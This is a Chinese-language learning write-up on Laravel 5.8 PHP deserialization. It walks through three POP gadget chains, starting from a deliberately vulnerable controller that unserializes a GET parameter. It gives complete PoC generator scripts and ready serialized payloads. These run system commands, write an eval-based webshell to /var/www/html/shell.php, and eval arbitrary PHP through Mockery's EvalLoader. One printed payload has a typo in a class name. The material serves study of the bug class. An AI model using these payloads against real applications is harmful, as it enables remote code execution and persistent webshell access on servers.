0x00 前言 通过此次的学习,除了学习到了laravel 框架中存在的反序列化现象,我觉得让我收获更多的是了解到了在构造POP链中的一些可能之前并没有注意到的小细节。
0x01 Laravel框架介绍 Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。 其目录结构为:
1 2 3 4 5 6 7 8 9 10 app:应用程序的核心代码,用户的业务逻辑主要在这个目录下 Http: 包含MVC中的Controller bootstrap: 框架启动和自动加载配置的文件 config: 包含所有应用程序的配置文件,如缓存cache,数据库,队列和视图等 database: 数据库迁移文件等 public: 程序入口,以及项目的静态资源文件 resources: 包含视图 storage: 包含了编译后的模板文件,以及基于文件的session,log等 tests: 单元测试框架 vendor: 包含composer加载的依赖模块
因为最近想要系统地学习一下反序列化漏洞,而Laravel框架中就有相对丰富的学习资料。
0x02 环境搭建 首先先安装Composer ,将源先更换为阿里源:
1 composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
然后用Composer 安装Laravel 5.8 :
1 2 3 4 5 composer create-project --prefer-dist laravel/laravel laravel58 cd laravel58 php artisan serve
然后在文件routes\web.php
中添加路由:
1 2 3 <?php Route::get("/demo" ,"\App\Http\Controllers\DemoController@demo" );
然后在app\Http\Controllers\
文件夹下创建一个新的路由控制器DemoController
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace App \Http \Controllers ;class DemoController extends Controller { public function demo () { if (isset ($_GET['c' ])){ $code = $_GET['c' ]; unserialize($code); } else { highlight_file(__FILE__ ); } return "Welcome to laravel5.8" ; } }
0x03 POP链 1 入口类 :Illuminate\Broadcasting\PendingBroadcast
出口类 :Faker\Generator
入口在Illuminate\Broadcasting\PendingBroadcast
类中的__destruct()
魔术方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php namespace Illuminate \Broadcasting ;use Illuminate \Contracts \Events \Dispatcher ;class PendingBroadcast { protected $events; protected $event; public function __construct (Dispatcher $events, $event) { $this ->event = $event; $this ->events = $events; } public function __destruct () { $this ->events->dispatch($this ->event); } }
其中$this->event
和$this->events
都是可以用户可控的。在__destruct()
析构函数中调用了$this->events
的dispatch()
方法,所以$this->events
应当是一个类,按照我们正常的思路,接下来就要去找全局查找有哪些类中存在同名dispatch()
方法,看是不是可以调用,但是其实这里有两种处理方法:
第一种就是通过全局搜索查找其他类中是否存在调用同名方法的情况;
第二种就是查找__call()
魔术方法,在对象中调用一个不可访问或者不存在的方法时,__call()
方法就会被调用,具体可以参考PHP手册: https://www.php.net/manual/zh/language.oop5.overloading.php#object.call
所以第一条比较简单的POP链就是通过触发其他类中的__call()
方法来进行的。
在Faker\Generator
中发现存在可利用的__call()
方法,令$this->events
为Faker\Generator
的实例化对象,然后在PendingBroadcast
类析构时触发__destruct()
魔术函数,会调用$this->events
对应对象的dispatch()
方法,因为Faker\Generator
类不存在该方法,就会触发__call
方法:
这里的__call()
方法有两个参数,$method
表示触发该魔术方法的方法名,这个case中就是dispatch
;$attributes
是一个数组,表示的是传入dispatch
的参数,也就是这里的$this->event
对应的参数。用exp跟踪一下就能看到:
继续跟进$this->format($method, $attributes)
:
看到了我们的目标call_user_func_array
,该函数能够调用回调函数,并把一个数组参数作为回调函数的参数,当我们调用的回调函数的参数类型及个数是未知的时候,该方法就很方便。所以可以推测的是,$this->getFormatter($famatter)
的返回值是一个回调函数。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $event ; protected $events; public function __construct ($events, $event) { $this ->event = $event; $this ->events = $events; } } } namespace Faker { class Generator { protected $formatters = array (); public function __construct ($formatters) { $this ->formatters = $formatters; } } } namespace { $b = new Faker\Generator(array('dispatch' => 'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'ls -al' ); echo serialize($a); }
放在public/
目录下,访问public/exp.php
得到exp:
1 O:40 :"Illuminate\Broadcasting\PendingBroadcast" :2 :{s:8 :"*event" ;s:6 :"ls -al" ;s:9 :"*events" ;O:15 :"Faker\Generator" :1 :{s:13 :"*formatters" ;a:1 :{s:8 :"dispatch" ;s:6 :"system" ;}}}
然后将对象类型小写的s
转换成大写的S
,并在保护字段的前面加上\00*\00
,就变成了:
1 O:40 :"Illuminate\Broadcasting\PendingBroadcast" :2 :{S:8 :"\00*\00event" ;S:6 :"ls -al" ;S:9 :"\00*\00events" ;O:15 :"Faker\Generator" :1 :{S:13 :"\00*\00formatters" ;a:1 :{S:8 :"dispatch" ;S:6 :"system" ;}}}
但是最简单,最不会出错的方式就是在输出序列化后字符串时候进行一个urlencode
,即echo urlencode(serialize($a));
。
最后得到
写shell 我们知道可能会存在这么一种情况,一些服务器处于安全方面的考量,在php.ini
的disable_functions
中禁掉很多执行系统命令的函数,比如我们常用的system
、proc_open
、shell_exec
等。这个时候我们就可以尝试写入一个shell,然后用其他的方法bypass disable_functions。
因为call_user_func_array
可以利用回调函数处理数组,所以可以这样来写入shell:
1 call_user_func_array('file_put_contents' , array ('/var/www/html/shell.php' , '<? eval($_POST[1]);?>' ));
但是这里的$format()
函数中的call_user_func_array
的第2个参数$arguments
其实是来自__call($method, $attributes)
中的$attributes
,是一个数组,同时该参数向上回溯,其实是PendingBroadcast
类的$this->event
参数,如果我们想要写入shell,就会这样构造:
1 2 3 4 5 namespace { $b = new Faker\Generator(array('dispatch' => 'file_put_contents')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, array ('/var/www/html/shell.php' , '<?php eval($_POST[1]);' )); echo urlencode(serialize($a)); }
但是这样构造,传入Generator
类的__call()
函数,就会令$attributes
,也就是call_user_func_array
中的$arguments
参数变成一个二维数组。就不能正确执行原来的写shell命令了。
所以现在需要重新找一个类,该类须有可利用的函数,然后直接调用该类的方法(后面会比较详细地介绍)。类PhpOption\LazyOption
中存在可利用的危险函数call_user_func_array
,然后通过class_user_func_array(array($a, 'aaa'));
的方式调用类a
的aaa()
方法,而且参数$this->callback
和$this->arguments
都是用户可控的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php namespace PhpOption ;final class LazyOption extends Option { private $callback; private $arguments; private $option; private function option () { if (null === $this ->option) { $this ->option = call_user_func_array($this ->callback, $this ->arguments); if (!$this ->option instanceof Option) { $this ->option = null ; throw new \RuntimeException(sprintf('Expected instance of \%s' , Option::class)); } } return $this ->option; } }
但是因为这里option()
方法是类PhpOption\LazyOption
的一个私有方法,所以无法被直接调用,但是其他的public
方法都是通过$this->option()
调用的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function isDefined () { return $this ->option()->isDefined(); } public function isEmpty () { return $this ->option()->isEmpty(); } ...... public function filter ($callable) { return $this ->option()->filter($callable); }
所以最后的poc为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $event ; protected $events; public function __construct ($events, $event) { $this ->event = $event; $this ->events = $events; } } } namespace Faker { class Generator { protected $formatters = array (); public function __construct ($formatters) { $this ->formatters = $formatters; } } } namespace PhpOption { class LazyOption { private $callback ; private $arguments; private $option; public function __construct ($callback, $arguments, $option) { $this ->callback = $callback; $this ->arguments = $arguments; $this ->option = $option; } } } namespace { $lazyOption = new PhpOption\LazyOption('file_put_contents', array('/var/www/html/shell.php', '<? eval($_POST[1]);'), null); $generator = new Faker\Generator(array ('dispatch' => array ($lazyOption, 'filter' ))); $pendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($generator, 1 ); echo urlencode(serialize($pendingBroadcast)); }
这里$b = new Illuminate\Broadcasting\BroadcastEvent('abc');
中的abc
是任意一个参数,因为PhpOption\LazyOption
的filter
方法接受一个参数。
得到exp:
1 O%3 A40%3 A%22 Illuminate%5 CBroadcasting%5 CPendingBroadcast%22 %3 A2%3 A%7 Bs%3 A8%3 A%22 %00 %2 A%00 event%22 %3 Bi%3 A1%3 Bs%3 A9%3 A%22 %00 %2 A%00 events%22 %3 BO%3 A15%3 A%22 Faker%5 CGenerator%22 %3 A1%3 A%7 Bs%3 A13%3 A%22 %00 %2 A%00 formatters%22 %3 Ba%3 A1%3 A%7 Bs%3 A8%3 A%22 dispatch%22 %3 Ba%3 A2%3 A%7 Bi%3 A0%3 BO%3 A20%3 A%22 PhpOption%5 CLazyOption%22 %3 A3%3 A%7 Bs%3 A30%3 A%22 %00 PhpOption%5 CLazyOption%00 callback%22 %3 Bs%3 A17%3 A%22 file_put_contents%22 %3 Bs%3 A31%3 A%22 %00 PhpOption%5 CLazyOption%00 arguments%22 %3 Ba%3 A2%3 A%7 Bi%3 A0%3 Bs%3 A23%3 A%22 %2 Fvar%2 Fwww%2 Fhtml%2 Fshell.php%22 %3 Bi%3 A1%3 Bs%3 A19%3 A%22 %3 C%3 F+eval %28 %24 _POST%5 B1%5 D%29 %3 B%22 %3 B%7 Ds%3 A28%3 A%22 %00 PhpOption%5 CLazyOption%00 option%22 %3 BN%3 B%7 Di%3 A1%3 Bs%3 A6%3 A%22 filter%22 %3 B%7 D%7 D%7 D%7 D
0x04 POP链 2 入口类 :Illuminate\Broadcasting\PendingBroadcast
出口类 :Illuminate\Bus\Dispatcher
入口类和上一个POP链一样,入口在Illuminate\Broadcasting\PendingBroadcast
中的析构函数__destruct()
魔术方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php namespace Illuminate \Broadcasting ;use Illuminate \Contracts \Events \Dispatcher ;class PendingBroadcast { protected $events; protected $event; public function __construct (Dispatcher $events, $event) { $this ->event = $event; $this ->events = $events; } public function __destruct () { $this ->events->dispatch($this ->event); } }
全局搜索dispatch()
方法,在Illuminate\Bus\Dispatcher
中找到dispatch()
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php namespace Illuminate \Bus ;class Dispatcher implements QueueingDispatcher { public function dispatch ($command) { if ($this ->queueResolver && $this ->commandShouldBeQueued($command)) { return $this ->dispatchToQueue($command); } return $this ->dispatchNow($command); } }
这里需要满足if条件语句if ($this->queueResolver && $this->commandShouldBeQueued($command))
。跟进$this->commandShouldBeQueued()
,知道该函数会判断$command
是不是ShouleQueue
类的一个实例,这里ShouldQueue
只是一个接口:
1 2 3 4 5 6 7 8 9 10 11 protected function commandShouldBeQueued ($command) { return $command instanceof ShouldQueue; } namespace Illuminate \Contracts \Queue ;interface ShouldQueue { }
接着能够调用$this->dispatchToQueue()
方法,跟进该方法,我们能看到可利用的call_user_func
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function dispatchToQueue ($command) { $connection = $command->connection ?? null ; $queue = call_user_func($this ->queueResolver, $connection); if (! $queue instanceof Queue) { throw new RuntimeException('Queue resolver did not return a Queue implementation.' ); } if (method_exists($command, 'queue' )) { return $command->queue($queue, $command); } return $this ->pushCommandToQueue($queue, $command); }
call_user_func
中调用的两个参数是$this->queueResolver
和$connection
。第一个参数是用户可控的,是该Illuminate\Bus\Dispatcher
类的一个受保护成员变量:
而第2个参数$command
就是我们调用的回调函数需要执行的命令,可以看到,它应该满足下面这些条件:
是接口ShouldQueue
的一个实例化对象,才能进入$this->dispatchNow()
;
该对象需要一个成员变量$connection
(这里我之前一直以为要找到一个类,既满足是继承自接口ShouldQueue
,又满足存在可控成员变量$connection
,后来才知道,即使不存在也没关系,我们在构造exp的时候给一个就可以了)。
全局搜索implements ShouldQueue
,发现了这么几个类实现了该接口:
在其中挑选一个,比如第一个Illuminate\Broadcasting\BroadcastEvent
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php namespace Illuminate \Broadcasting ;class BroadcastEvent implements ShouldQueue { public $connection; public function __construct ($connection) { $this ->connection = $connection; } } $a = new Illuminate\Broadcasting\BroadcastEvent('whoami' );
最后得到的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event; public function __construct ($events, $event) { $this ->event = $event; $this ->events = $events; } } class BroadcastEvent { public $connection; public function __construct ($connection) { $this ->connection = $connection; } } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ; public function __construct ($queueResolver) { $this ->queueResolver = $queueResolver; } } } namespace { $a = new Illuminate\Broadcasting\BroadcastEvent('ipconfig'); $b = new Illuminate\Bus\Dispatcher('system' ); $c = new Illuminate\Broadcasting\PendingBroadcast($b, $a); echo serialize($c); }
放到public
目录下访问下,然后再为protected成员变量添加\00
,最后得到:
1 O:40 :"Illuminate\Broadcasting\PendingBroadcast" :2 :{S:9 :"\00*\00events" ;O:25 :"Illuminatfe\Bus\Dispatcher" :1 :{S:16 :"\00*\00queueResolver" ;S:6 :"system" ;}S:8 :"\00*\00event" ;O:38 :"Illuminate\Broadcasting\BroadcastEvent" :1 :{S:10 :"connection" ;S:8 :"ifconfig" ;}}
用burp抓包可以看到成功执行:
调用链:
写shell 因为这条POP链用的是call_user_func
函数,它只能用回调函数处理字符串,也就是说回调函数最多只能接受一个参数,那么直接这样写shell就不太合适了,我们还是要继续找一个类,该类的方法有call_user_func_array
,并且其参数用户可控即可。然后像前面介绍的一样,用call_user_func
函数去调用该类的某个可利用方法,可以用class_user_func(array($a, 'aaa'));
来进行调用,其中$a
为某个类的实例化对象,aaa
是该类的某个可利用方法。(下一条pop链会重新介绍该方法)
这里还是选取PhpOption\LazyOption
类,所以最后的exp就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event; public function __construct ($events, $event) { $this ->event = $event; $this ->events = $events; } } } namespace Illuminate \Broadcasting { class BroadcastEvent { public $connection ; public function __construct ($connection) { $this ->connection = $connection; } } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ; public function __construct ($queueResolver) { $this ->queueResolver = $queueResolver; } } } namespace PhpOption { class LazyOption { private $callback ; private $arguments; private $option; public function __construct ($callback, $arguments, $option) { $this ->callback = $callback; $this ->arguments = $arguments; $this ->option = $option; } } } namespace { $a = new PhpOption\LazyOption('file_put_contents', array('/var/www/html/shell.php', '<? eval($_POST[1]);'), null); $b = new Illuminate\Broadcasting\BroadcastEvent('abc' ); $c = new Illuminate\Bus\Dispatcher(array ($a, 'filter' )); $m = new Illuminate\Broadcasting\PendingBroadcast($c, $b); echo serialize($m); }
得到:
1 O:40 :"Illuminate\Broadcasting\PendingBroadcast" :2 :{s:9 :"%00*%00events" ;O:25 :"Illuminate\Bus\Dispatcher" :1 :{s:16 :"%00*%00queueResolver" ;a:2 :{i:0 ;O:20 :"PhpOption\LazyOption" :3 :{s:30 :"%00PhpOption\LazyOption%00callback" ;s:17 :"file_put_contents" ;s:31 :"%00PhpOption\LazyOption%00arguments" ;a:2 :{i:0 ;s:23 :"/var/www/html/shell.php" ;i:1 ;s:19 :"<? eval($_POST[1]);" ;}s:28 :"%00PhpOption\LazyOption%00option" ;N;}i:1 ;s:6 :"filter" ;}}s:8 :"%00*%00event" ;O:38 :"Illuminate\Broadcasting\BroadcastEvent" :1 :{s:10 :"connection" ;s:3 :"abc" ;}}
调用链:
0x05 POP链 3 该POP链的入口方法和之前一样,还是Illuminate\Broadcasting\PendingBroadcast
类的__destruct()
方法。
上一条链是用call_user_func
函数调用系统函数来执行命令,但其实call_user_func
还可以调用类方法,有这么几种方式:
通过数组键值对的方式,对类名进行回调,回调类方法;
通过类名直接调用静态方法
实例化一个对象,回调对象的类方法
比如下面这个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Test { public function dotest () { echo "dotest() is called" ; } } $classname = "Test" ; call_user_func(array ($classname, 'dotest' )); $test = new Test(); call_user_func(array ($test, 'dotest' ));
如果需要传参,那么我们可以用call_user_func(array($test, 'dotest'), 'aaa')
,aaa
就是我们传入的参数。
了解了call_user_func
的其他用法,接下来就是寻找可以利用的类方法。
在Mockery\Loader\EvalLoader
类中存在一个load()
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace Mockery \Loader ;use Mockery \Generator \MockDefinition ;use Mockery \Loader \Loader ;class EvalLoader implements Loader { public function load (MockDefinition $definition) { if (class_exists($definition->getClassName(), false )) { return ; } eval ("?>" . $definition->getCode()); } }
load()
函数首先会判断$definition->getClassName()
返回的类名是否存在,如果存在,直接return
(第2个参数表示是否默认调用 __autoload );若不存在,就能继续执行eval
语句。
那我们就继续看一下if条件语句中的关于Mockery\Generator\MockDefinition
类的getClassName()
:
1 2 3 4 5 6 7 8 9 10 11 <?php namespace Mockery \Generator ;class MockDefinition { protected $config; public function getClassName () { return $this ->config->getName(); } }
这里的$config
参数是用户可控的,$this->config
是一个对象,在该方法中会调用$this->config
所指代对象的getName()
方法。Mockery\Generator\MockDefinition
类中不存在getName()
方法。
在Mockery\Generator\MockConfiguration
类中存在方法getName()
,所以我们应该令$this->config
为Mockery\Generator\MockConfiguration
对象:
1 2 3 4 5 6 7 8 9 10 11 <?php namespace Mockery \Generator ;class MockConfiguration { protected $name; public function getName () { return $this ->name; } }
结合前面的分析,这里要令$this->name
是一个不存在的类名,这个很简单。
到这里,前面Mockery\Loader\EvalLoader
类load()
方法中的if条件语句就能绕过了,接下来看if语句后面的eval
语句:
1 2 3 4 5 6 7 public function load (MockDefinition $definition) { if (class_exists($definition->getClassName(), false )) { return ; } eval ("?>" . $definition->getCode()); }
跟进$definition->getCode()
方法:
1 2 3 4 5 6 7 8 9 10 11 <?php namespace Mockery \Generator ;class MockDefinition { protected $code; public function getCode () { return $this ->code; } }
$this->code
用户可控,令其等于我们想要执行的命令,如phpinfo();
。到此为止,又一条链构造完成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event; public function __construct ($events, $event) { $this ->event = $event; $this ->events = $events; } } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ; public function __construct ($queueResolver) { $this ->queueResolver = $queueResolver; } } } namespace Illuminate \Broadcasting { class BroadcastEvent { public $connection ; public function __construct ($connection) { $this ->connection = $connection; } } } namespace Mockery \Loader { class EvalLoader { } } namespace Mockery \Generator { class MockDefinition { protected $config ; protected $code; public function __construct ($config, $code) { $this ->config = $config; $this ->code = $code; } } } namespace Mockery \Generator { class MockConfiguration { protected $name ; public function __construct ($name) { $this ->name = $name; } } } namespace { $a = new Mockery\Generator\MockConfiguration('aaaaaaa'); // Class aaaaaaa doesn't exists $b = new Mockery\Generator\MockDefinition($a, '<? phpinfo();' ); $x = new Illuminate\Broadcasting\BroadcastEvent($b); $m = new Mockery\Loader\EvalLoader(); $y = new Illuminate\Bus\Dispatcher(array ($m, 'load' )); $z = new Illuminate\Broadcasting\PendingBroadcast($y, $x); echo serialize($z); }
构造结果:
1 O:40 :"Illuminate\Broadcasting\PendingBroadcast" :2 :{S:9 :"\00*\00events" ;O:25 :"Illuminate\Bus\Dispatcher" :1 :{S:16 :"\00*\00queueResolver" ;a:2 :{i:0 ;O:25 :"Mockery\Loader\EvalLoader" :0 :{}i:1 ;s:4 :"load" ;}}S:8 :"\00*\00event" ;O:38 :"Illuminate\Broadcasting\BroadcastEvent" :1 :{s:10 :"connection" ;O:32 :"Mockery\Generator\MockDefinition" :2 :{S:9 :"\00*\00config" ;O:35 :"Mockery\Generator\MockConfiguration" :1 :{S:7 :"\00*\00name" ;s:7 :"aaaaaaa" ;}S:7 :"\00*\00code" ;s:13 :"<? phpinfo();" ;}}}
效果:
调用链:
0x06 踩坑记录 1. 攻击效果展示问题 在测试POP链 2 效果的时候,因为我的.env
文件中的APP_DEBUG
配置的是true
。在调试状态下,程序抛出异常就会直接在页面中显示出来,而POP链 2 从call_user_func
返回后,返回给$queue
的值是一个空字符串,继续执行到第152行就会报错:
在调试状态下我们就不太能直接看到结果了:
因为经验太少,所以我当时还一直以为我没构造好,后来才突然反应过来,直接右键查看源码就能看到了呀……又或者可以关掉调试模式,将.env
文件中的APP_DEBUG
改为false
,就不会显示这个异常抛出的界面了。
2. php对象序列化问题 在php中,对象被序列化后的格式通常为:
1 O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}
其中<field name>
是字段名,当字段类型为保护字段(protected) 时,在声明的类和该类的子类中可见,但是在该类的实例中不可见,因此,保护字段的字段名在序列化时,字段名前面会加上\0*\0
,这里的\0
表示ASCII字符的0
字符,而不是\0
组合,所以也可以用%00
来替代。如果要用\0
或是\00
,那么就需要将前面的对象类型,小写的s
改为大写的S
,此时就支持将后面的字段名用16进制表示。
当字段类型为私有字段(private) 时,只在所声明的类中可见,在该类的子类和该类的对象实例中军部可见,所以私有字段的字段名在序列化时,字段名的前面会加上\0<declared class name>\0
前缀,这里的<declare class name>
表示声明该私有字段的类的类名 ,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,也有可能是它的祖先类。
0x07 小结 我在拜读mochazz师傅的文章的时候,下面有一条评论讲到, 有人提到,没人会那样子去写一个控制器。在现实的应用场景中,确实没有人会这样去写一个控制器,这只是一个漏洞的证明例子,在现实场景中,phar的攻击场景会更多。
参考链接